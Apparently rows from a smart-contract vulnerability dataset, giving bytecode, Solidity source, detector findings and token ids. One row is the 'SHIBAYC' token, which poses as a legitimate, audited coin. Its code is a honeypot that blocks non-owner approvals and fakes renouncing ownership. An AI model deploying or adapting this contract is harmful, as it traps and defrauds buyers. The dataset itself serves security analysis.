60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6060612705848460008561270d565b949350505050565b60606127188561287a565b612769576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106127a85780518252601f199092019160209182019101612789565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461280a576040519150601f19603f3d011682016040523d82523d6000602084013e61280f565b606091505b509150915081156128235791506127059050565b8051156128335780518082602001fd5b60405162461bcd60e51b815260206004820181815286516024840152865187939192839260440191908501908083836000831561245d578181015183820152602001612445565b3b151590565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b6040805160208101909152600081529056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a206d757374206265206e6577206f776e657220746f2070756c6c4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572536c697070616765206c696d69743a206d6f7265207468616e206d617820707269636556657374696e67206d757374206265206c6f6e676572207468616e20333620686f7572735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220c1e2cba270c7715a32e8ac05dd8ecdf31b6a53ad357aa0cff8b292f07a6af86a64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2278, 23777, 2683, 2683, 2620, 21486, 2575, 2497, 2575, 2050, 2475, 2546, 17465, 2546, 2620, 2683, 27717, 22275, 2683, 2546, 2581, 2509, 26337, 2629, 2497, 2581, 2620, 2278, 16068, 2487, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2385, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 8278, 22834, 7962, 3085, 1063, 3853, 3343, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 17738, 17457, 24805, 20511, 1006, 1007, 6327, 1025, 3853, 5245, 24805, 20511, 1006, 4769, 2047, 12384, 2121, 1035, 1007, 6327, 1025, 3853, 4139, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,616
0x956c4d2e3bb79634cab850f7090f6842163157a6
/* Shiba Inu Yacht Club 🌟 Trust & Security: Liquidity Locked on Team Finance Contract Audited by InterFi Network 🌟 Taxes: 12% Tax as following: 5% - Marketing 5% - Utility & Development 2% - Team Treasury 🌟 SHIBAYC NFT Collection: In development – Mint an exclusive SHIBAYC NFT! A diverse PFP collection consisting of 200+ traits, each trait is assigned a specific rarity making the collectibles fun-to-trade. These NFTs will later be integrated with our SHIBKOMBAT PvP Wager game. 🌟 SHIBKOMBAT P2E Game: Coming Soon - Players can fight against different players, NPCs and earn against wagers determined by them. The goal is to successfully defeat opponents to earn rewards. Each playable character is in a form of NFT and has different skillset and powers. We will be organizing regular tournaments and top players will be rewarded from the Jackpot pool. 🗣 Social: 🖥 Website: https://shibayc.com 💬 Telegram: https://t.me/SHIBAYC 🖊 Github: https://github.com/shibayc/shibay */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SHIBAYC is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'SHIBAYC ' ; string private _symbol = 'SBAYC ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220412e44b8a414f2b2283845e20733fc7634813072a64f4acd6ce1fbbcd6e6012264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26976, 2278, 2549, 2094, 2475, 2063, 2509, 10322, 2581, 2683, 2575, 22022, 3540, 2497, 27531, 2692, 2546, 19841, 21057, 2546, 2575, 2620, 20958, 16048, 21486, 28311, 2050, 2575, 1013, 1008, 11895, 3676, 1999, 2226, 12187, 2252, 100, 3404, 1004, 3036, 1024, 6381, 3012, 5299, 2006, 2136, 5446, 3206, 15727, 2098, 2011, 6970, 8873, 2897, 100, 7773, 1024, 2260, 1003, 4171, 2004, 2206, 1024, 1019, 1003, 1011, 5821, 1019, 1003, 1011, 9710, 1004, 2458, 1016, 1003, 1011, 2136, 9837, 100, 11895, 15907, 2278, 1050, 6199, 3074, 1024, 1999, 2458, 1516, 12927, 2019, 7262, 11895, 15907, 2278, 1050, 6199, 999, 1037, 7578, 1052, 22540, 3074, 5398, 1997, 3263, 1009, 12955, 1010, 2169, 18275, 2003, 4137, 1037, 3563, 10958, 15780, 2437, 1996, 8145, 7028, 2015, 4569, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,617
0x956c85816373367b808bd18c0c1abda5215080c5
pragma solidity 0.4.24; pragma experimental "v0.5.0"; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract SRNTPriceOracleBasic { uint256 public SRNT_per_ETH; } contract Escrow { using SafeMath for uint256; address public party_a; address public party_b; address constant serenity_wallet = 0x47c8F28e6056374aBA3DF0854306c2556B104601; address constant burn_address = 0x0000000000000000000000000000000000000001; ERC20Basic constant SRNT_token = ERC20Basic(0xBC7942054F77b82e8A71aCE170E4B00ebAe67eB6); SRNTPriceOracleBasic constant SRNT_price_oracle = SRNTPriceOracleBasic(0xae5D95379487d047101C4912BddC6942090E5D17); uint256 public withdrawal_party_a_gets; uint256 public withdrawal_party_b_gets; address public withdrawal_last_voter; event Deposit(uint256 amount); event WithdrawalRequest(address requester, uint256 party_a_gets, uint256 party_b_gets); event Withdrawal(uint256 party_a_gets, uint256 party_b_gets); constructor (address new_party_a, address new_party_b) public { party_a = new_party_a; party_b = new_party_b; } function () external payable { // New deposit - take commission and issue an event uint256 fee = msg.value.div(100); uint256 srnt_balance = SRNT_token.balanceOf(address(this)); uint256 fee_paid_by_srnt = srnt_balance.div(SRNT_price_oracle.SRNT_per_ETH()); if (fee_paid_by_srnt < fee) { // Burn all SRNT, deduct from fee if (fee_paid_by_srnt > 0) { fee = fee.sub(fee_paid_by_srnt); SRNT_token.transfer(burn_address, srnt_balance); } serenity_wallet.transfer(fee); emit Deposit(msg.value.sub(fee)); } else { // There's more SRNT available than needed. Burn a part of it. SRNT_token.transfer(burn_address, fee.mul(SRNT_price_oracle.SRNT_per_ETH())); emit Deposit(msg.value); } } function request_withdrawal(uint256 party_a_gets, uint256 party_b_gets) external { require(msg.sender != withdrawal_last_voter); // You can't vote twice require((msg.sender == party_a) || (msg.sender == party_b) || (msg.sender == serenity_wallet)); require(party_a_gets.add(party_b_gets) <= address(this).balance); withdrawal_last_voter = msg.sender; emit WithdrawalRequest(msg.sender, party_a_gets, party_b_gets); if ((withdrawal_party_a_gets == party_a_gets) && (withdrawal_party_b_gets == party_b_gets)) { // We have consensus delete withdrawal_party_a_gets; delete withdrawal_party_b_gets; delete withdrawal_last_voter; if (party_a_gets > 0) { party_a.transfer(party_a_gets); } if (party_b_gets > 0) { party_b.transfer(party_b_gets); } emit Withdrawal(party_a_gets, party_b_gets); } else { withdrawal_party_a_gets = party_a_gets; withdrawal_party_b_gets = party_b_gets; } } }
0x60806040526004361061005e5763ffffffff60e060020a60003504166327cc1fd8811461046a5780632dddf3e11461049b57806339c1852d146104b8578063a3f70ed3146104df578063d6106696146104f4578063d6d80f0b14610509575b6000808061007334606463ffffffff61051e16565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191945073bc7942054f77b82e8a71ace170e4b00ebae67eb6916370a0823191602480820192602092909190829003018186803b1580156100e157600080fd5b505afa1580156100f5573d6000803e3d6000fd5b505050506040513d602081101561010b57600080fd5b5051604080517fe9d7d79a00000000000000000000000000000000000000000000000000000000815290519193506101b19173ae5d95379487d047101c4912bddc6942090e5d179163e9d7d79a916004808301926020929190829003018186803b15801561017857600080fd5b505afa15801561018c573d6000803e3d6000fd5b505050506040513d60208110156101a257600080fd5b5051839063ffffffff61051e16565b905082811015610302576000811115610279576101d4838263ffffffff61053516565b604080517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600482015260248101859052905191945073bc7942054f77b82e8a71ace170e4b00ebae67eb69163a9059cbb916044808201926020929091908290030181600087803b15801561024c57600080fd5b505af1158015610260573d6000803e3d6000fd5b505050506040513d602081101561027657600080fd5b50505b6040517347c8f28e6056374aba3df0854306c2556b1046019084156108fc029085906000818181858888f193505050501580156102ba573d6000803e3d6000fd5b507f4d6ce1e535dbade1c23defba91e23b8f791ce5edc0cc320257a2b364e4e384266102ec348563ffffffff61053516565b60408051918252519081900360200190a1610465565b73bc7942054f77b82e8a71ace170e4b00ebae67eb6600160a060020a031663a9059cbb60016103b373ae5d95379487d047101c4912bddc6942090e5d17600160a060020a031663e9d7d79a6040518163ffffffff1660e060020a02815260040160206040518083038186803b15801561037a57600080fd5b505afa15801561038e573d6000803e3d6000fd5b505050506040513d60208110156103a457600080fd5b5051879063ffffffff61054716565b6040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561040557600080fd5b505af1158015610419573d6000803e3d6000fd5b505050506040513d602081101561042f57600080fd5b50506040805134815290517f4d6ce1e535dbade1c23defba91e23b8f791ce5edc0cc320257a2b364e4e384269181900360200190a15b505050005b34801561047657600080fd5b5061047f610572565b60408051600160a060020a039092168252519081900360200190f35b3480156104a757600080fd5b506104b6600435602435610581565b005b3480156104c457600080fd5b506104cd610779565b60408051918252519081900360200190f35b3480156104eb57600080fd5b5061047f61077f565b34801561050057600080fd5b5061047f61078e565b34801561051557600080fd5b506104cd61079d565b600080828481151561052c57fe5b04949350505050565b60008282111561054157fe5b50900390565b6000828202831580610563575082848281151561056057fe5b04145b151561056b57fe5b9392505050565b600154600160a060020a031681565b600454600160a060020a031633141561059957600080fd5b600054600160a060020a03163314806105bc5750600154600160a060020a031633145b806105da5750337347c8f28e6056374aba3df0854306c2556b104601145b15156105e557600080fd5b30316105f7838363ffffffff6107a316565b111561060257600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916339081179091556040805191825260208201849052818101839052517ffb134d2d8cb8ff980f9c27e6e1dc92cb313b6808dd7d0971455979b2b7cb17da9181900360600190a181600254148015610675575080600354145b1561076a576000600281905560038190556004805473ffffffffffffffffffffffffffffffffffffffff191690558211156106e55760008054604051600160a060020a039091169184156108fc02918591818181858888f193505050501580156106e3573d6000803e3d6000fd5b505b600081111561072a57600154604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610728573d6000803e3d6000fd5b505b604080518381526020810183905281517fbf2ed60bd5b5965d685680c01195c9514e4382e28e3a5a2d2d5244bf59411b93929181900390910190a1610775565b600282905560038190555b5050565b60035481565b600054600160a060020a031681565b600454600160a060020a031681565b60025481565b60008282018381101561056b57fe00a165627a7a72305820fb77f980b38db6b6d192669a53139facd60c064cf410ce9fd4cbbfb9f86dcf530029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2278, 27531, 2620, 16048, 24434, 22394, 2575, 2581, 2497, 17914, 2620, 2497, 2094, 15136, 2278, 2692, 2278, 2487, 7875, 2850, 25746, 16068, 2692, 17914, 2278, 2629, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 10975, 8490, 2863, 6388, 1000, 1058, 2692, 1012, 1019, 1012, 1014, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,618
0x956cdac781389d259de92e427ecd86e1cc273f7f
